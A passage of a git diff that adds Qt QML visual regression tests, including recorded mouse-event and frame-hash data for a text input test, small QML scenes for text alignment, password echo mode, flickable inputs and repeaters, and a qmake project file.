+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5680
+ hash: "253397b603f99f7d092dda82d794e944"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 148; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 146; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5696
+ hash: "971154dba58b18b1d82999f5b6a40cc1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 144; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5712
+ hash: "5bd30e73b37592c06f735541f802f367"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5728
+ hash: "cb087b0af44fd7e767b3ff5da1f49790"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 138; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5744
+ hash: "03c99addee96254d19db72746f1bef11"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 137; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 135; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5760
+ hash: "0f76d8a89e383e7e742a3d194d770061"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 133; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 131; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5776
+ image: "flickableInput.6.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 129; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 127; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5792
+ hash: "f047f32822850b2c0fee18b4a8f8a96a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 121; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5808
+ hash: "160c8c8447a469291fc2f87c2b6c97ce"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 119; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 116; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5824
+ hash: "4a9d610f3fa37336c0cab7b4e575713b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 112; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5840
+ hash: "5a00b185983ad89bcf1ceb036c424dd4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 110; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5856
+ hash: "a578449e7df3994d0806f7ee2e5a7815"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 107; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5872
+ hash: "445cb1ae1934659c3c8b5800bc30fc74"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5888
+ hash: "ad22110876a867ca80530ca6d132dfe3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 105; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5904
+ hash: "7a644a888de5691c69543699229ec8ca"
+ }
+ Frame {
+ msec: 5920
+ hash: "7a644a888de5691c69543699229ec8ca"
+ }
+ Frame {
+ msec: 5936
+ hash: "41c14cc9ea05712aea8d1feb18ca85f3"
+ }
+ Frame {
+ msec: 5952
+ hash: "921d476813711e64b9c2272aeff3ed40"
+ }
+ Frame {
+ msec: 5968
+ hash: "2dad691263389dce74c99530f188cd20"
+ }
+ Frame {
+ msec: 5984
+ hash: "b426ff8ba6d1c52974b117fb8b912b76"
+ }
+ Frame {
+ msec: 6000
+ hash: "bbcae0d0547e1cfe9a4db1a6f86bf4b6"
+ }
+ Frame {
+ msec: 6016
+ hash: "b8e54bc1a48d7a225cce25c3735c2933"
+ }
+ Frame {
+ msec: 6032
+ hash: "b59e0f6eea3c41cedb10ac7a7e2629ef"
+ }
+ Frame {
+ msec: 6048
+ hash: "48add89789f9d1be82aedeecf6fda362"
+ }
+ Frame {
+ msec: 6064
+ hash: "3cf7a035a5b7dbc81c3da5e99efa5024"
+ }
+ Frame {
+ msec: 6080
+ hash: "ff9c7173f7138e273cdbdfa8c6f5fedf"
+ }
+ Frame {
+ msec: 6096
+ hash: "bc5e19862dfb38e687d1bfc37690a3b8"
+ }
+ Frame {
+ msec: 6112
+ hash: "6ff97512731fd97d3c540245ffff6205"
+ }
+ Frame {
+ msec: 6128
+ hash: "290e8c8bf51ced134e965f72a868e467"
+ }
+ Frame {
+ msec: 6144
+ hash: "3a63687a5179896572be2e1e0d00766f"
+ }
+ Frame {
+ msec: 6160
+ hash: "80f8d13272a23e8816ef45fbbef922fe"
+ }
+ Frame {
+ msec: 6176
+ hash: "7888e0ece9522f751417944855824be8"
+ }
+ Frame {
+ msec: 6192
+ hash: "3d81f8cde15b7d0b009fc9b46a1144e1"
+ }
+ Frame {
+ msec: 6208
+ hash: "3d81f8cde15b7d0b009fc9b46a1144e1"
+ }
+ Frame {
+ msec: 6224
+ hash: "d19f7d7d94695ca307b59ffdfea497d0"
+ }
+ Frame {
+ msec: 6240
+ hash: "d19f7d7d94695ca307b59ffdfea497d0"
+ }
+ Frame {
+ msec: 6256
+ hash: "d19f7d7d94695ca307b59ffdfea497d0"
+ }
+ Frame {
+ msec: 6272
+ hash: "d19f7d7d94695ca307b59ffdfea497d0"
+ }
+ Frame {
+ msec: 6288
+ hash: "d19f7d7d94695ca307b59ffdfea497d0"
+ }
+ Frame {
+ msec: 6304
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6320
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6336
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6352
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6368
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6384
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6400
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6416
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6432
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6448
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6464
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6480
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6496
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6512
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6528
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6544
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6560
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6576
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6592
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6608
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6624
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6640
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6656
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6672
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6688
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6704
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6720
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6736
+ image: "flickableInput.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6768
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6784
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6800
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6816
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6832
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6848
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6864
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6880
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6896
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6912
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6928
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6944
+ hash: "399526752d472f9379d3d218d5d3fdf8"
+ }
+ Frame {
+ msec: 6960
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6976
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 6992
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7008
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7024
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7040
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7056
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7072
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7088
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7104
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7120
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7136
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7152
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7168
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7184
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7200
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7216
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7232
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7248
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7264
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7280
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+ Frame {
+ msec: 7296
+ hash: "ef425c131e1c80a6d62d777963f3d08f"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.qml
new file mode 100644
index 00000000..a0351e87
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.qml
@@ -0,0 +1,107 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 32
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 48
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 64
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 80
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 96
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 112
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 128
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 144
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 160
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 176
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 192
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 208
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 224
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 240
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 256
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 272
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 288
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 304
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 320
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 336
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 352
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 368
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 384
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+ Frame {
+ msec: 400
+ hash: "7619ed68aca3544f373777e11a4bfefa"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/echoMode.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/echoMode.qml
new file mode 100644
index 00000000..83ec088a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/echoMode.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Item {
+ height: 50; width: 200
+ Column {
+ //Not an exhaustive echo mode test, that's in QLineEdit (since the functionality is in QLineControl)
+ TestTextInput { id: main; focus: true; echoMode: TextInput.Password; passwordCharacter: '.' }
+ TestText { text: main.text }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/flickableInput.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/flickableInput.qml
new file mode 100644
index 00000000..7af74acc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/flickableInput.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+Flickable {
+ width: 200
+ height: 50
+ contentWidth: 400
+ contentHeight: 100
+
+ Column {
+ anchors.fill: parent
+
+ TextInput {
+ selectByMouse: true
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ }
+ TextInput {
+ selectByMouse: false
+ text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/hAlign.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/hAlign.qml
new file mode 100644
index 00000000..f36a752f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/hAlign.qml
@@ -0,0 +1,41 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Item{
+ width:600;
+ height:300;
+ Column {
+ //Because they have auto width, these three should look the same
+ TestTextInput {
+ text: "Jackdaws love my big sphinx of quartz";
+ horizontalAlignment: TextInput.AlignLeft;
+ }
+ TestTextInput {
+ text: "Jackdaws love my big sphinx of quartz";
+ horizontalAlignment: TextInput.AlignHCenter;
+ }
+ TestTextInput {
+ text: "Jackdaws love my big sphinx of quartz";
+ horizontalAlignment: TextInput.AlignRight;
+ }
+ Rectangle{ width: 600; height: 10; color: "pink" }
+ TestTextInput {
+ height: 30;
+ width: 600;
+ text: "Jackdaws love my big sphinx of quartz";
+ horizontalAlignment: TextInput.AlignLeft;
+ }
+ TestTextInput {
+ height: 30;
+ width: 600;
+ text: "Jackdaws love my big sphinx of quartz";
+ horizontalAlignment: TextInput.AlignHCenter;
+ }
+ TestTextInput {
+ height: 30;
+ width: 600;
+ text: "Jackdaws love my big sphinx of quartz";
+ horizontalAlignment: TextInput.AlignRight;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml
new file mode 100644
index 00000000..59710a4c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.1
+//Test that doubleclicking on the front of a word only selects that word, and not the word in front
+
+Item{
+ width: 200
+ height: 100
+ TextInput{
+ anchors.fill: parent
+ readOnly: true
+ selectByMouse: true
+ text: "abc a cba test"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/usingLineEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/usingLineEdit.qml
new file mode 100644
index 00000000..758717ea
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/usingLineEdit.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+Rectangle{
+ width: 600
+ height: 200
+ Column {
+ LineEdit {text: 'Hello world'}
+ LineEdit {text: 'Hello underwhelmingly verbose world'; width: 80; height: 24;}
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qmlvisual.pro b/tests/auto/declarative/qmlvisual/qmlvisual.pro
new file mode 100644
index 00000000..36d2600d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qmlvisual.pro
@@ -0,0 +1,37 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qmlvisual.cpp
+
+symbian: {
+ importFiles.path = .
+ importFiles.files = animation \
+ fillmode \
+ focusscope \
+ ListView \
+ qdeclarativeborderimage \
+ qdeclarativeflickable \
+ qdeclarativeflipable \
+ qdeclarativegridview \
+ qdeclarativemousearea \
+ qdeclarativeparticles \
+ qdeclarativepathview \
+ qdeclarativepositioners \
+ qdeclarativesmoothedanimation \
+ qdeclarativespringanimation \
+ qdeclarativetext \
+ qdeclarativetextedit \
+ qdeclarativetextinput \
+ rect \
+ repeater \
+ selftest_noimages \
+ webview
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += QT_TEST_SOURCE_DIR=\"\\\"$$PWD\\\"\"
+}
+
+CONFIG += parallel_test
+
+CONFIG+=insignificant_test # QTQAINFRA-428
diff --git a/tests/auto/declarative/qmlvisual/rect/GradientRect.qml b/tests/auto/declarative/qmlvisual/rect/GradientRect.qml
new file mode 100644
index 00000000..5ac7dcf2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/rect/GradientRect.qml
@@ -0,0 +1,25 @@
+import QtQuick 1.0
+
+Item {
+ id: rect
+ property color color
+ property color border : Qt.rgba(0,0,0,0)
+ property int rotation
+ property int radius
+ property int borderWidth
+ property bool smooth: false
+
+ width: 40; height: 40
+ Item {
+ anchors.centerIn: parent; rotation: rect.rotation;
+ Rectangle {
+ anchors.centerIn: parent; width: 40; height: 40
+ border.color: rect.border; border.width: rect.border != Qt.rgba(0,0,0,0) ? 2 : 0
+ radius: rect.radius; smooth: rect.smooth
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: rect.color }
+ GradientStop { position: 1.0; color: "white" }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/rect/MyRect.qml b/tests/auto/declarative/qmlvisual/rect/MyRect.qml
new file mode 100644
index 00000000..99226d35
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/rect/MyRect.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+Item {
+ id: rect
+ property color color
+ property color border : Qt.rgba(0,0,0,0)
+ property int rotation
+ property int radius
+ property int borderWidth
+ property bool smooth: false
+
+ width: 40; height: 40
+ Item {
+ anchors.centerIn: parent; rotation: rect.rotation;
+ Rectangle {
+ anchors.centerIn: parent; width: 40; height: 40
+ color: rect.color; border.color: rect.border; border.width: rect.border != Qt.rgba(0,0,0,0) ? 2 : 0
+ radius: rect.radius; smooth: rect.smooth
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/rect/data/GradientRect.0.png b/tests/auto/declarative/qmlvisual/rect/data/GradientRect.0.png
new file mode 100644
index 00000000..2ca5d282
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/rect/data/GradientRect.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/rect/data/GradientRect.qml b/tests/auto/declarative/qmlvisual/rect/data/GradientRect.qml
new file mode 100644
index 00000000..116ab2ae
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/rect/data/GradientRect.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "GradientRect.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/rect/data/MyRect.0.png b/tests/auto/declarative/qmlvisual/rect/data/MyRect.0.png
new file mode 100644
index 00000000..3eb9a8d5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/rect/data/MyRect.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/rect/data/MyRect.qml b/tests/auto/declarative/qmlvisual/rect/data/MyRect.qml
new file mode 100644
index 00000000..72141c83
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/rect/data/MyRect.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "MyRect.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/rect/data/rect-painting.0.png b/tests/auto/declarative/qmlvisual/rect/data/rect-painting.0.png
new file mode 100644
index 00000000..3556dce1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/rect/data/rect-painting.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/rect/data/rect-painting.qml b/tests/auto/declarative/qmlvisual/rect/data/rect-painting.qml
new file mode 100644
index 00000000..9fc073ca
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/rect/data/rect-painting.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "rect-painting.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/rect/rect-painting.qml b/tests/auto/declarative/qmlvisual/rect/rect-painting.qml
new file mode 100644
index 00000000..2de414db
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/rect/rect-painting.qml
@@ -0,0 +1,55 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 450; height: 250
+ color: "white"
+
+ Rectangle {
+ anchors.top: parent.verticalCenter
+ anchors.left: parent.left
+ anchors.right: parent.right
+ anchors.bottom: parent.bottom
+ color: "#eeeeee"
+ }
+
+ Grid {
+ anchors.centerIn: parent
+ columns: 8; rows:4; spacing: 15
+
+ MyRect { color: "lightsteelblue" }
+ MyRect { color: "lightsteelblue"; border: "gray" }
+ MyRect { color: "lightsteelblue"; radius: 10 }
+ MyRect { color: "lightsteelblue"; radius: 10; border: "gray" }
+ GradientRect { color: "lightsteelblue" }
+ GradientRect { color: "lightsteelblue"; border: "gray" }
+ GradientRect { color: "lightsteelblue"; radius: 10 }
+ GradientRect { color: "lightsteelblue"; radius: 10; border: "gray" }
+
+ MyRect { color: "thistle"; rotation: 10 }
+ MyRect { color: "thistle"; border: "gray"; rotation: 10 }
+ MyRect { color: "thistle"; radius: 10; rotation: 10 }
+ MyRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10 }
+ GradientRect { color: "thistle"; rotation: 10 }
+ GradientRect { color: "thistle"; border: "gray"; rotation: 10 }
+ GradientRect { color: "thistle"; radius: 10; rotation: 10 }
+ GradientRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10 }
+
+ MyRect { color: "lightsteelblue"; smooth: true }
+ MyRect { color: "lightsteelblue"; border: "gray"; smooth: true }
+ MyRect { color: "lightsteelblue"; radius: 10; smooth: true }
+ MyRect { color: "lightsteelblue"; radius: 10; border: "gray"; smooth: true }
+ GradientRect { color: "lightsteelblue"; smooth: true }
+ GradientRect { color: "lightsteelblue"; border: "gray"; smooth: true }
+ GradientRect { color: "lightsteelblue"; radius: 10; smooth: true }
+ GradientRect { color: "lightsteelblue"; radius: 10; border: "gray"; smooth: true }
+
+ MyRect { color: "thistle"; rotation: 10; smooth: true }
+ MyRect { color: "thistle"; border: "gray"; rotation: 10; smooth: true }
+ MyRect { color: "thistle"; radius: 10; rotation: 10; smooth: true }
+ MyRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10; smooth: true }
+ GradientRect { color: "thistle"; rotation: 10; smooth: true }
+ GradientRect { color: "thistle"; border: "gray"; rotation: 10; smooth: true }
+ GradientRect { color: "thistle"; radius: 10; rotation: 10; smooth: true }
+ GradientRect { color: "thistle"; radius: 10; border: "gray"; rotation: 10; smooth: true }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/repeater/basic1.qml b/tests/auto/declarative/qmlvisual/repeater/basic1.qml
new file mode 100644
index 00000000..5d994b96
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/basic1.qml
@@ -0,0 +1,31 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 120
+ height: 240
+ id: page
+ Column{
+ Repeater{
+ delegate: Rectangle {
+ color: "thistle"
+ width: 100
+ height: 100
+ Rectangle {
+ anchors.centerIn: parent
+ width: 60
+ height: 60
+ color: name
+ }
+ }
+ model: ListModel {
+ ListElement {
+ name: "palegoldenrod"
+ }
+ ListElement {
+ name: "lightsteelblue"
+ }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/repeater/basic2.qml b/tests/auto/declarative/qmlvisual/repeater/basic2.qml
new file mode 100644
index 00000000..ea14e92e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/basic2.qml
@@ -0,0 +1,35 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 120
+ height: 240
+ id: page
+ Component {
+ id: delegate
+ Rectangle {
+ color: "thistle"
+ width: 100
+ height: 100
+ Rectangle {
+ anchors.centerIn: parent
+ width: 60
+ height: 60
+ color: name
+ }
+ }
+ }
+ Column{
+ Repeater{
+ delegate: delegate
+ model: ListModel {
+ ListElement {
+ name: "palegoldenrod"
+ }
+ ListElement {
+ name: "lightsteelblue"
+ }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/repeater/basic3.qml b/tests/auto/declarative/qmlvisual/repeater/basic3.qml
new file mode 100644
index 00000000..0193db30
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/repeater/basic3.qml
@@ -0,0 +1,33 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "white"
+ width: 120
+ height: 240
+ id: page
+ ListModel {
+ id: model
+ ListElement {
+ name: "palegoldenrod"
+ }
